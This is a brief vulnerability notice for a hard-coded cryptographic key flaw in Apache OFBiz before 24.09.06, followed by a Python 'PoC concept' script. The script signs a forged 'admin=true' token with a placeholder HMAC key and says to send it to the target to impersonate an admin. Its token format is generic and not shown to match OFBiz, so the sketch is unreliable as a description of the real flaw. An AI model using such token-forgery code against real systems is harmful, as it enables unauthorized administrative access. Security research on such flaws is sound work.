Use of Hard-coded Cryptographic Key vulnerability in Apache OFBiz.
This issue affects Apache OFBiz: before 24.09.06.
Users are recommended to upgrade to version 24.09.06, which fixes the issue.
The following code is for security research and authorized testing only.
python
# PoC Concept for Hard-coded Key Usage
import hmac
import hashlib
# The hard-coded key found in the vulnerable version of Apache OFBiz
# (Note: In a real scenario, this key is extracted from the source code)
HARDCODED_KEY = b'default_secret_key_ofbiz_placeholder'
def generate_malicious_token(user_id):
"""
Simulates generating a forged token using the hard-coded key.
"""
message = f"user={user_id}&admin=true".encode('utf-8')
signature = hmac.new(HARDCODED_KEY, message, hashlib.sha256).hexdigest()
# Construct the malicious request payload
payload = message.decode('utf-8') + f"&sig={signature}"
return payload
if __name__ == "__main__":
print("[+] Generating malicious token for user 'attacker'...")
token = generate_malicious_token("attacker")
print(f"[+] Malicious Token: {token}")
print("[+] Send this token to the target endpoint to impersonate an admin.")
